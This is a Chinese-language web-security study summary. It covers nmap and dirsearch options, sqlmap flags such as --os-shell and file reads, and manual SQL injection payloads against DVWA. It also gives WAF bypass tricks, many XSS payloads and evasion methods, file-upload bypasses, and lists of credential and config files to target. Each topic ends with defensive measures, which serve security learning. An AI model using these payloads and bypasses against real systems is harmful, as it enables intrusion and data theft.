web 安全总结

1、web安全总结

1.1 web安全简介

1.1.1 http协议

http 协议是超文本传输协议-明文传输

https 协议是http协议的基础上进行升级,是数据在传输过程中进行加密

1.1.2 http请求

http请求分为:请求方法、请求头、请求体

GET、PUT、POST、OPTIONS、move、DELETE、head

1、请求方法

请求的第一行是“方法  URI  协议/版本”

例如:GET /sample.jsp HTTP/1.1

 GET    代表请求方法,

/sample.jsp  表示URI,

HTTP/1.1      代表协议和协议的版本。

2、请求头(Request Header)

请求头包含许多有关的客户端环境和请求正文的有用信息。例如,请求头可以声明浏览器所用的语言,请求正文的长度等。例如:

Accept:image/gif.image/jpeg.*/*

Accept-Language:zh-cn

Connection:Keep-Alive

Host:localhost

User-Agent:Mozila/4.0(compatible:MSIE5.01:Windows NT5.0)

Accept-Encoding:gzip,deflate.

3、请求正文

请求头和请求正文之间是一个空行,这个行非常重要,它表示请求头已经结束,接下来的是请求正文。请求正文中可以包含客户提交的查询字符串信息:

username=lichaokai&password=666666

1.2 信息探测

1.2.1 Nmap

nmap是一个免费开放的网络扫描和嗅探的工具包,也叫网络映射器。

功能:

1、探测一组主机是否在线

2、扫描主机端口,嗅探所提供的网络服务.

3、推断出主机所用的操作系统

参数:

1. nmap -sT 192.168.96.4 //TCP连接扫描,不安全,慢

2. nmap -sS 192.168.96.4 //SYN扫描,使用最频繁,安全,快

3. nmap -Pn 192.168.96.4  //目标机禁用ping,绕过ping扫描

4. nmap -sU 192.168.96.4 //UDP扫描,慢,可得到有价值的服务器程序

5. nmap -sI 僵尸ip 目标ip  //使用僵尸机对目标机发送数据包

6. nmap -sA 192.168.96.4  //检测哪些端口被屏蔽

7. nmap 192.168.96.4 -p <portnumber>  //对指定端口扫描

8. nmap 192.168.96.1/24 //对整个网段的主机进行扫描

9. nmap 192.168.96.4 -oX myscan.xml //对扫描结果另存在myscan.xml

10. nmap -T1~6 192.168.96.4 //设置扫描速度,一般T4足够。

11. nmap -sV 192.168.96.4  //对端口上的服务程序版本进行扫描

12. nmap -O 192.168.96.4  //对目标主机的操作系统进行扫描

13. nmap -sC <scirptfile> 192.168.96.4  //使用脚本进行扫描,耗时长

14. nmap -A 192.168.96.4  //强力扫描,耗时长

15. nmap -6 ipv6地址   //对ipv6地址的主机进行扫描

16. nmap -f 192.168.96.4  //使用小数据包发送,避免被识别出

17. nmap –mtu <size> 192.168.96.4 //发送的包大小,最大传输单元必须是8的整数

18. nmap -D <假ip> 192.168.96.4 //发送参杂着假ip的数据包检测

19. nmap --source-port <portnumber> //针对防火墙只允许的源端口

20. nmap –data-length: <length>192.168.96.4 //改变发生数据包的默认的长度,避免被识别出来是nmap发送的。

21. nmap -v 192.168.96.4  //显示冗余信息(扫描细节)

22. nmap -sn 192.168.96.4  //对目标进行ping检测,不进行端口扫描(会发送四种报文确定目标是否存活,)

23. nmap -sP 192.168.96.4  //仅仅对目标进行ping检测。

24. nmap -n/-p 192.168.96.4 //-n表示不进行dns解析,-p表示要

25. nmap --system-dns 192.168.96.4 //扫描指定系统的dns服务器

26. nmap –traceroute 192.168.96.4  //追踪每个路由节点。

27. nmap -PE/PP/PM: 使用ICMP echo, timestamp,and netmask 请求包发现主机。

28. nmap -sP 192.168.96.4      //主机存活性扫描,arp直连方式。

29. nmap -iR [number]       //对随机生成number个地址进行扫描。

1.2.2 dirsearch

Dirsearch为kali工具,用来对网站url路径进行探测扫描,常见的还有dirbuster、御剑等图形化工具。

1、Dirsearch的使用

2、扫描目标

-u,--url                    目标url

-l,--url-list=FILE          目标url文件路径

--stdin                     从标准输入中指定url

--cidr                      目标网段

--raw=File                  从文件中读取request报文,通过-schema指定策略

3、扫描的字典类型

-e,--extensions             包含的文件拓展名(逗号分隔) 如-e php,asp 

-X,--exclude-extensions     排除的文件拓展名(逗号分隔) 如-X asp,jsp

-f,--force-extensions       在字典的每条记录后面添加文件拓展名

4、字典格式设置

-w,--wordlists              自定义wordlist(以逗号分隔)

--prefixes                  添加自定义前缀

--suffixes                             添加自定义后缀

--only-selected              筛选出指定的文件拓展名或无文件拓展名的目录

--remove-extensions            移除所有wordlist的后缀名 (admin.php --> admin)

-U, --uppercase                 将字典转换为大写

-L, --lowercase                      将字典转换为小写

-C, --capital                  第一个字母大写剩下字母小写

5、响应结果的过滤

-i                    保留的响应状态码(以逗号分隔,支持指定范围) 如(-i 200,300-399)

-x                   排除的响应状态码(以逗号分隔,支持指定范围)  如(-x 301,500-599)

--exclude-sizes             通过大小排除(以逗号分隔) 如(123B,4KB)

--exclude-texts                 通过文本内容排除响应('Notfound', 'Error')

--exclude-regexps                   通过正则匹配排除响应('Not foun[a-z]{1}', '^Error$')

--exclude-redirects               通过正则跳转目标排除响应

--minimal                                 最小响应报文长度

--maximal                                最大响应报文长度

6、请求相关设置

-m,--http-method              HTTP请求方法 默认为GET

-d,--data                         HTTP请求数据

-H,--header                             请求头 如(-H 'Referer: example.com' -H 'Accept: */*')

--header-list=FILE             从文件中读取请求头

-F,--follow-redirects       跟随HTTP跳转

--user-agent                        设置user-agent字段

--cookie                                 设置cookie

7、连接相关设置

--timeout=TIMEOUT              连接超时时间

--ip=IP                                   服务器ip地址

-s DELAY, --delay=DELAY     每次请求间隔的时间

--proxy=PROXY                      代理url支持HTTP和SOCKS代理 如(localhost:8080, socks5://localhost:8088)

--proxy-list=FILE            包含代理服务器的地址

--matches-proxy=PROXY      Proxy to replay with found paths

--scheme                                默认的策略 用于从文件中导入请求或url中不包含协议

--max-retries                         最大重连次数

-b,--request-by-hostname       强制通过域名连接,(默认为了速度,使用ip连接)

--exit-on-error                    出现错误时退出

--debug                                 Debug模式

8、通用设置

--version                          显示dirsearch的版本

-h --help                         帮助提示

-r,--recursive             递归爆破

-R,--recursion-depth        最大递归的层数

-t,--threads                 线程数

--subdirs                  扫描子目录 如(admin/ 则www.example.com/admin/+字典)

--exclude-subdirs                  在递归扫描中排除的子目录

-q,--quiet-mode             安静模式

--full-url                  打印出完整的url

--no-color                  无颜色输出信息

9、输出模式

--simple-report=OUTPUTFILE

--plain-text-report=OUTPUTFILE

--json-report=OUTPUTFILE

--xml-report=OUTPUTFILE

--markdown-report=OUTPUTFILE

--csv-report=OUTPUTFILE

10、Dirbuster的使用

1.3 漏洞扫描

1.3.1 Burp Suit 的使用

1、常用的功能模块

Proxy: 代理

Intruder: 爆破

Repeder: 流量包的重放

Decoder: 编码解码

Comparer: 流量包对比

Extender: 插件

User options: 用户配置

2、爆破的四种模式

2.1 Sniper(狙击手)

作为比较常用的模式,Sniper的作用是对其中选定的参数一个一个依次遍历字典并且替换然后测试。

2.2 Battering ram(攻城锤)

不同于sniper,Batteringram是两个参数同时进行遍历一个字典的。

2.3 Pitchfork(音叉模式)

Pitchfork作为多字典,他的特点也非常明显,就是多个字典同时进行,与Battering ram有些相似之处,但是一个是多个人跑一个赛道,而一个是多个人,各有各的赛道。

2.4Cluster bomb(集束炸弹)(推荐爆破时使用)

Cluster bomb兼备了前面三种模式的所有的功能,那就是全部遍历,不放过所有情况,但是在超大字典的情况下,运算能力就限制了Cluster bomb模式的发挥,所以只要算力足够,那爆破出密码就不是问题。

1.3.2 AWVS

AWVS针对web应用系统进行漏洞扫描,可以单个url进行测试扫描和文件导入多行数据进行漏洞扫描。

1.3.3 nessus

Nessus对主机进行漏洞扫描,记得安装并更新插件。

1.4  SQL注入

截图.png

1、SQL注入的原理

对用户提交的数据没有任何过滤和校验,提交到数据库进行解析并执行。

2、注入位置

get、post、update、cookie、http header、referer

3、注入方法

union select联合查询、报错注入、布尔注入、延时注入、二次注入

4、常见的数据库

Mysql、oracle、access、sqlserver、prostgreSQL、MongoDB、Redis

5、sqlmap

参数:

--dbs    跑所有的数据库

-D DVWA --tables  查看所有表

-D DVWA -T users --dump   脱裤 dump 数据  

 --dump-all 所有数据

-r 指定数据包文件进行测试

--random-agent  随机agent   --user-agent 指定agents

--proxy="127.0.0.1:8080" 指定一个代理

--delay=3  频繁发包请求可能会触发服务器阈值或waf  延迟3秒请求 ids ips

--dbms=MySQL  指定测试mysql数据库payload

--tamper=  使用sqlmap自带tamper脚本来混淆payload通常用来绕waf和ips

--level=LEVEL 设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload

--risk=RISK 风险(1-4,默认1)升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or语句的测试;risk4:update的测试

U --is-dba 是否是dba权限

--technique=B 指定所测试的类型(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用

--current-user  测试当前数据库的用户名

--users  查询共有哪些用户

--passwords 查询用户密码

--os-cmd=whoami 执行系统命令

--os-shell 系统交互shell

--file-read="/etc/password"

--file-write #写入本地文件(–file-write/test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)

-p 指定参数

6、手工注入

6.1 测试流程

1、 寻找注入点(使用单引号或者双引号)

2、 判断注入类型(字符型or数字型)

   1'

   1 and 1=1 #

   1 and 1=2 #

   1' and 1=1 #

   1' and 1=2 #

   1' or '1' = '1 #

   1' or '1' = '2 #

3、 order by 查找显位(适用于联合查询)

4、暴库、报表、爆字段

6.2 联合查询

1' union select version()

判断列数

1' order by 1 -- -   --+   #

判断显位 

1' union select 1,2 -- -

查询数据

1' union select 1,(select database()) -- -

查数据库

基本语句:

1' UNION SELECT 1,database() from information_schema.schemata#

查询表名

1' UNION SELECT 1,table_name from information_schema.tables wheretable_schema='dvwa'#

1' UNION SELECT 1,table_name from information_schema.tables wheretable_schema='dvwa'#

查询字段

1' UNION SELECT 1,column_name from information_schema.columns wheretable_schema='dvwa' and table_name='users'#

查询列

1' UNION SELECT 1,group_concat(password,0x3a,user) from users#

6.2 盲注

ASCill表对应的值,键盘上的字符对应ASCill 表中的33-126位

判断数据库长度

1' and length(database())>10 #          //missing

1' and length(database())>5 #           //missing

1' and length(database())>3 #          //exists

1' and length(database())=4 #        //exists

burp跑出库名长度为4

跑库名

1' and ascii(substr(database(),1,1))=50 #  

 跑出库名是    dvwa

猜解表的数量

1' and (select count(table_name) from information_schema.tableswhere table_schema=database()) >10#

1' and (select count(table_name) from information_schema.tableswhere table_schema=database()) =2#

猜解每个表的长度

1' and length(substr((select table_name frominformation_schema.tables where table_schema=database() limit 0,1),1))=10 #

第一个表的长度是9

第二个表的长度是5

猜解第一个表名

1' and ascii(substr((select table_name frominformation_schema.tables where table_schema=database() limit 0,1),1,1))=88 #

guestbook

猜解第二个表名

1' and ascii(substr((select table_name frominformation_schema.tables where table_schema=database() limit 0,1),1,1))=88 #

users

爆users表里的列数

1' and (select count(column_name) from information_schema.columnswhere table_schema=database() and table_name='users')=8 #

users表里有8个列

爆users表的字段长度

1' and length(substr((select column_name frominformation_schema.columns where table_name= 'users' limit 0,1),1))=7 #

users表中第一个字段长度为7

爆users表中第一个列名称

1' and ascii(substr((select column_name frominformation_schema.columns where table_schema=database() and table_name='users'limit 0,1),1,1))=88 #

user_id

爆users表中第二个列名称

1' and ascii(substr((select column_name frominformation_schema.columns where table_schema=database() and table_name='users'limit 1,1),1,1))=88 #

first_name

爆users表中first_name列的行数

1' and length(substr((select user from users limit 0,1),1))=5#

first_name列有5行数据

爆users表中first_name列中每条信息的长度

1' and length(substr((select first_name from users limit 1,1),1))=1#

爆users表中first_name列中每条信息

1' and ascii(substr((select first_name from users limit1,1),1,1))=1#

6.3 报错注入

爆库名

1' and extractvalue(1,concat(0x7e,database()));#

爆表数

1' and extractvalue(1,concat(0x7e,(select count(table_name) frominformation_schema.tables where table_schema='dvwa')))#

爆表名

1' and extractvalue(1,concat(0x7e,(select table_name  from information_schema.tables wheretable_schema='dvwa' limit 0,1)))#

1' and extractvalue(1,concat(0x7e,(select table_name  from information_schema.tables wheretable_schema='dvwa' limit 1,1)))#

爆列数

1' and extractvalue(1,concat(0x7e,(select count(column_name) frominformation_schema.columns where table_schema='dvwa' and table_name='users')))#

爆列名

1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns wheretable_schema='dvwa' and table_name='users' limit 0,1)))#

爆列里信息

1' and extractvalue(1,concat(0x7e,(select user from users limit0,1)));#

7、常见的绕过方式

7.1 绕过空格(注释符/* */,%a0):

两个空格代替一个空格,用Tab代替空格,%a0=空格:

%20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*!*/

 最基本的绕过方法,用注释替换空格:

/*  注释 */

使用浮点数:

select * from users where id=8E0union select 1,2,3

select * from users where id=8.0 select 1,2,3

7.2 括号绕过空格:

如果空格被过滤,括号没有被过滤,可以用括号绕过。

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

例如:

select(user())from dual where(1=1)and(2=2)

这种过滤方法常常用于time based盲注,例如:

?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

(from for属于逗号绕过下面会有)

  上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。

7.3 引号绕过(使用十六进制):

会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:

select column_name  from information_schema.tables where table_name="users"

这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。

  users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

select column_name  from information_schema.tables where table_name=0x7573657273

7.4 逗号绕过(使用from或者offset):

在使用盲注的时候,需要使用到substr(),mid(),limit()。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);

select mid(database() from 1 for 1);

使用join:

union select 1,2     #等价于

union select * from (select 1)a join (select 2)b

  使用like:

select ascii(mid(user(),1,1))=80   #等价于

select user() like 'r%'

  对于limit可以使用offset来绕过:

select * from news limit 0,1

# 等价于下面这条SQL语句

select * from news limit 1 offset 0

7.5 比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本):

使用greatest()、least():(前者返回最大值,后者返回最小值)

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。

最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。

那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

使用between and:

between a and b

between 1 and 1; 等价于 =1

7.6 or and xor not绕过:

and=&&  or=||   xor=|   not=!

7.7 绕过注释符号(#,--(后面跟一个空格))过滤:

id=1' union select 1,2,3||'1

  最后的or '1闭合查询语句的最后的单引号,或者:

id=1' union select 1,2,'3

7.8 =绕过:

使用like 、rlike 、regexp 或者 使用< 或者 >

7.9 绕过union,select,where等:

1)使用注释符绕过:

  常用注释符:

//,-- , /**/, #, --+, -- -, ;,%00,--a

  用法:

U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

(2)使用大小写绕过:

id=-1'UnIoN/**/SeLeCT

3)内联注释绕过:

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):

id=-1'UNIunionONSeLselectECT1,2,3–-

7.10 通用绕过(编码):

  如URLEncode编码,ASCII,HEX,unicode编码绕过:

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

7.11 等价函数绕过:

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

或者:

substr((select 'password'),1,1) = 0x70

strcmp(left('password',1), 0x69) = 1

strcmp(left('password',1), 0x70) = 0

strcmp(left('password',1), 0x71) = -1

12.宽字节注入:

  过滤 ' 的时候往往利用的思路是将 ' 转换为 \' 。

  在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

  (1)%df 吃掉 \ 具体的方法是 urlencode(\') = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:

id=-1%df%5c%27union select 1,user(),3--+

  (2)将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。

一般产生宽字节注入的PHP函数:

   1.replace():过滤 ' \ ,将 ' 转化为 \' ,将 \  转为 \\,将 " 转为 \" 。用思路一。

   2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一

(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

 3.mysql_real_escape_string():转义下列字符:

\x00     \n     \r     \     '     "     \x1a

(防御,将mysql设置为gbk即可)

PCRE绕过:

union/*'+'a'*1000001+'*/select

8、sql注入的防御

1、使用参数化查询或预编译语句:

将用户输入作为参数传递给查询,而不是直接拼接到查询字符串中,这样可以将参数值和SQL语句分开处理,使得参数值不会被当作代码的一部分进行解释执行以提高应用程序的安全性。

2、输入验证和过滤

输入验证和过滤是一种用于确保用户输入数据的安全性和有效性的技术。它可以防止恶意输入和错误数据导致的安全漏洞和应用程序错误。

3、最小权限原则

最小权限原则是一种安全性原则,指的是为了保护敏感数据和系统资源,用户应该被授予最小必需的权限。

4、使用防火墙和入侵检测系统

使用防火墙和入侵检测系统是为了保护计算机网络免受未经授权的访问和恶意攻击。

5、定期更新和维护数据库软件

定期更新和维护数据库软件是非常重要的,以确保数据库的安全性、性能和功能的稳定性。

6、输入数据编码

对于用户输入的数据,在存储到数据库之前,需要对其进行合适的编码,以防止恶意的SQL代码被执行。可以使用转义字符、编码函数等方式实现。

1.5 XSS漏洞

XSS 即(Cross Site Scripting)中文名称为:跨站脚本攻击

1、XSS 的原理

恶意攻击者在web页面中会插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌入到web页面中script代码会执行,因此会达到恶意攻击用户的目的。

2、XSS的类型

2.1、存储型

主要是将恶意代码上传或存储到服务器中,下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。

攻击步骤:

1、攻击者将恶意代码提交到目标网站数据库中。

2、用户打开目标网站时,网站服务器将恶意代码从数据库中取出,然后拼接到html中返回给浏览器中。

3、用户浏览器接收到响应后解析执行,其中的恶意代码也会被执行。

4、恶意代码执行后,就能获取到用户数据,比如上面的cookie等信息,那么把该cookie发送到攻击者网站中,那么攻击者拿到该cookie然后会冒充该用户的行为,调用目标网站接口等违法操作。

2.2、反射型

反射性xss一般指攻击者通过特定的方式来诱惑受害者去访问一个包含恶意代码的URL。当受害者点击恶意链接url的时候,恶意代码会直接在受害者的主机上的浏览器执行。

攻击步骤:

1、攻击者在url后面的参数中加入恶意攻击代码。

2、当用户打开带有恶意代码的URL的时候,网站服务端将恶意代码从URL中取出,拼接在html中并且返回给浏览器端。

3、用户浏览器接收到响应后执行解析,其中的恶意代码也会被执行到。

4、攻击者通过恶意代码来窃取到用户数据并发送到攻击者的网站。攻击者会获取到比如cookie等信息,然后使用该信息来冒充合法用户的行为,调用目标网站接口执行攻击等操作。

2.3、Dom型

DOM-basedXSS漏洞是基于文档对象模型(Document ObjectModel)的一种漏洞。这种XSS与反射型XSS、持久型XSS在原理上有本质区别,它的攻击代码并不需要服务器解析响应,触发XSS靠的是浏览器端的DOM解析。客户端上的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。在客户端直接输出DOM内容的时候极易触发DOM型XSS漏洞,如document.getElementByld(“x’).innerHTML、document.write)等。

3、XSS常用触发标签

1、img

<img src=xοnerrοr="alert(1)">

<img src=xοnerrοr=eval("alert(1)")>

<img src=1οnmοuseοver="alert('xss');">

<img src=1οnmοuseοut="alert('xss');">

<img src=1οnclick="alert('xss');">

2、a

<ahref="javascript:alert(1)">test</a>

<ahref="x" οnfοcus="alert('xss');"autofocus="">xss</a>

<ahref="x" οnclick=eval("alert('xss');")>xss</a>

<ahref="x" οnmοuseοver="alert('xss');">xss</a>

<ahref="x" οnmοuseοut="alert('xss');">xss</a>

3、iframe

<iframesrc="javascript:alert(1)">test</iframe>

<iframeοnlοad="alert(document.cookie)"></iframe>

<iframeοnlοad="alert('xss');"></iframe>

<iframeοnlοad="base64,YWxlcnQoJ3hzcycpOw=="></iframe>

<iframeοnmοuseοver="alert('xss');"></iframe>

<iframesrc="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

4、audio

<audio src=1οnerrοr=alert(1)>

<audio><sourcesrc="x" οnerrοr="alert('xss');"></audio>

<audio controlsοnfοcus=eval("alert('xss');")autofocus=""></audio>

<audio controlsοnmοuseοver="alert('xss');"><sourcesrc="x"></audio>

5、video

<video src=x οnerrοr=alert(1)>

<video><sourceοnerrοr="alert('xss');"></video>

<video controlsοnmοuseοver="alert('xss');"></video>

<video controlsοnfοcus="alert('xss');" autofocus=""></video>

<video controlsοnclick="alert('xss');"></video>

6、svg

<svg οnlοad=javascript:alert(1)>

<svgοnlοad="alert('xss');"></svg>

7、button

<button οnclick=alert(1)>

<buttonοnfοcus="alert('xss');" autofocus="">xss</button>

<buttonοnclick="alert('xss');">xss</button>

<buttonοnmοuseοver="alert('xss');">xss</button>

<buttonοnmοuseοut="alert('xss');">xss</button>

<buttonοnmοuseup="alert('xss');">xss</button>

<buttonοnmοusedοwn="alert('xss');"></button>

8、div

这个需要借助url编码来实现绕过

原代码:

<divοnmοuseοver='alert(1)'>DIV</div>

经过url编码:

<divonmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>

9、object

这个需要借助 data 伪协议和base64 编码来实现绕过

<objectdata="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>

10、script

<script>alert('xss')</script>

<script>alert(/xss/)</script>

<script>alert(123)</script>

11、p

<pοnclick="alert('xss');">xss</p>

<pοnmοuseοver="alert('xss');">xss</p>

<pοnmοuseοut="alert('xss');">xss</p>

<pοnmοuseup="alert('xss');">xss</p>

12、input

<inputοnclick="alert('xss');">

<inputοnfοcus="alert('xss');">

<input οnfοcus="alert('xss');"autofocus="">

<inputοnmοuseοver="alert('xss');">

<input type="text"οnkeydοwn="alert('xss');"></input>

<input type="text"οnkeypress="alert('xss');"></input>

<input type="text"οnkeydοwn="alert('xss');"></input>

13、details

<detailsοntοggle="alert('xss');"></details>

<detailsοntοggle="alert('xss');" open=""></details>

14、select

<selectοnfοcus="alert('xss');" autofocus></select>

<selectοnmοuseοver="alert('xss');"></select>

<selectοnclick=eval("alert('xss');")></select>

15、form

<form method="x"action="x" οnmοuseοver="alert('xss');"><inputtype=submit></form>

<form method="x"action="x" οnmοuseοut="alert('xss');"><inputtype=submit></form>

<form method="x"action="x" οnmοuseup="alert('xss');"><inputtype=submit></form>

16、body

<bodyοnlοad="alert('xss');"></body>

4、常见的绕过方式

1、大小写绕过

<script>alert(“xss”);</script>

<ScRipt>ALeRt(“XSS”);</sCRipT>

2、双写绕过

<script>alert(“xss”);</script>

<scr<script>ipt>alert(“xss”);</scr</script>ipt>

3、空格/回车(换行符)/Tab

当过滤掉了Javascript等敏感字符串时就对字符串进行添加空格,换行或tab,此处利用js自身的性质:js通常用分号结尾,当解析到完整语句并且行尾存在换行符的情况下就可以忽略掉分号,若解析确定不是完整语句,则会继续处理,直到语句结束或出现分号。

例如下列语句,我们利用空格将语句分隔成了两部分,解析引擎解析确定到的不是完整的语句,JavaScript则会继续进行处理直到这个语句结束,利用换行符和tab同理

代码如下(示例):

<img src="java  script:alert(‘xss‘);" width=100>

或者

<img src="javascript:  alert(‘xss‘);" width=100>

4、堆叠绕过

类似于输出为变量$str

$str2=str_replace("script","",$str);

$str3=str_replace("on","",$str2);

$str4=str_replace("src","",$str3);

$str5=str_replace("data","",$str4);

$str6=str_replace("href","",$str5);

 可以采用oonn避开过滤 机制是吧中间的on过滤了。

5、前端抓包绕过

过滤严格的函数可能也会将标签进行严格控制,但是如果用其他形式表示标签,脚本仍能解析却可以绕过过滤

6、Alert混淆以绕过过滤器

(alert)(1)

a=alert,a(1)

[1].find(alert)

top[“al”+”ert”](1)

top[/al/.source+/ert/.source](1)

al\u0065rt(1)

top[‘al\145rt’](1)

top[‘al\x65rt’](1)

top[8680439..toString(30)](1)

7、编码绕过

url编码

十六进制编码

八进制编码

Unicode编码

8、xss的危害

1、网络钓鱼,包括盗取各类用户账号;

2、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;

3、网页挂马,进行恶意操作,例如任意篡改页面信息、删除文章等;

4、强制弹出广告页面、刷流量等;

5、进行大量的客户端攻击,如DDoS攻击;

6、提升用户权限,包括进一步渗透网站;

7、传播跨站脚本蠕虫等;

9、xss的防御方法

1、输入进行编码和过滤

对输入和URL参数进行编码和过滤(白名单和黑名单)

2、输出进行编码

在输出数据之前对潜在的威胁的字符进行编码、转义是防御XSS攻击十分有效的措施。

< 转成 &lt;

> 转成 &gt;

& 转成 &amp;

" 转成 &quot;

' 转成 &#39

\ 转成 \\

/ 转成 \/

; 转成 ;(全角;)

1.6 文件上传漏洞

1、文件上传的原理

服务器对用户上传的文件的没有进行任何的限制与防护。

2、文件上传漏洞的危害

上传 HTML 等文件,被恶意 SEO 、广告利用;

利用文件处理机制进行 DoS 攻击;

可被用于钓鱼、诈骗;

可被用于存储木马等恶意攻击文件;

可与文件包含等其他漏洞结合提高危害。

3、常见的上传点

用户头像

上传附件

上传配置文件

上传数据库/网站备份文件

4、绕过方式

1、抓包改后缀名

2、大小写绕过

3、双写绕过

4、修改文件类型(Content-Type

5、修改后缀为(html | htm | php | php2 | php3 | php4 | php5 | asp | aspx | ascx | jsp | cfc | bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh | shtm |inc  )等

6、%00截断 ---文件名为 a.php%00.jpg,或者通过修改.htaccess,但是对配置有要求

7、文件头绕过

指的是在一块数据存储或传输之际在头追加的数据,这些信息是对数据区的描述

在木马文件前增加一个文件头即可通过检查

JPEG (jpg)文件头:FFD8FF

PNG (png) 文件头:89504E47

GIF (gif)文件头:47494638

TIFF (tif)文件头:49492A00

Windows Bitmap (bmp)文件头:424D

8、时间竞争绕过

上传的文件只存在很短的时间

需要用竞争的方式去在删除时间窗口内调用/读取到这个文件即可

5、防御方式

关闭无用的文件上传、图片上传接口;

进行严格的文件后缀及内容类型判断;

对上传文件的名称和路径进行混淆处理;

严格限制上传文件的权限,禁止其可执行权限;

关闭不必要的远程读取权限;

对上传文件采取隔离等安全措施。

1.7任意文件下载漏洞

1、任意文件读取的原理

任意文件读取漏洞是指攻击者可以通过web应用程序读取任意文件而不受访问控制限制的漏洞。这种漏洞可能导致敏感信息泄露、系统崩溃等问题。

核心函数:

readfile.php?file=

download.php?file=

read.php?filename=

down.php?file=

download.php?path=

download.php?file=

down.php?file=

data.php?file=

readlife.php?file=

read.php?filename=

或者包含参数:

&url=

&file_name=

&Filepath=

&Path=

&Data=

2、利用方式

利用错误的信息提示

      利用目录遍历漏洞

      利用错误访问控制配置

       利用文件包含漏洞

       利用中间人攻击手段

3、敏感文件

Linux

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/etc/my.conf //mysql 配置文件

/etc/httpd/conf/httpd.conf // Apache配置文件

/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置

/usr/local/app/php5/lib/php.ini //PHP相关配置

 

Windows

C:\boot.ini //查看系统版本

C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件

C:\Windows\repair\sam //存储系统初次安装的密码

C:\Program Files\mysql\my.ini //Mysql配置

C:\Program Files\mysql\data\mysql\user.MYD //Mysql root密码

C:\Windows\php.ini

 

应用的日志文件

1、 /var/log/apache2/access.log

2、 /var/log/nginx/access.log

4、防御方法

过滤 . 或 ../ ,使用户在url中不能回溯上级目录

正则严格判断用户输入的参数

php.ini配置open_basedir限定文件访问范围

要下载的文件地址保存至数据库中,让用户提交文件对应ID下载文件

文件放在web无法直接访问的目录下

不允许提供目录遍历服务

公开文件可放置在web应用程序下载目录中通过链接进行下载

记录文件下载日志

1.8 文件包含漏洞

文件包含漏洞就是使用函数去包含任意文件的时候,当包含的文件来源过滤不严谨的时候,当存在包含恶意文件后,就可以通过这个恶意的文件来达到相应的目的。

1、文件包含漏洞的原理

其实原理就是由于在代码开发的过程中,有时候会遇到相同的代码,不想重复输入,就将代码单独写在一个文件里面,当遇到的时候就直接调用该文件进行运行,而这种方式就会导致客户端可以调用其他的恶意文件,通过恶意文件造成文件包含漏洞。

但是前提也是当文件包含的代码文件被当作一个变量来使用,并且能够被用户传入参数,如果没有对该变量做相应的安全防护,就可能会引发出文件包含漏洞。

2、文件包含漏洞的函数

PHP:include() 、include_once()、require()、require_once()

JSP/Servlet:ava.io.file()、java.io.filereader()

ASP:include file、include virtual

php 函数的区别

文件包含漏洞在PHP中是比较多的,像JSP、ASP这方面的漏洞是比较少的,但这并不是说就不存在。

 include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。

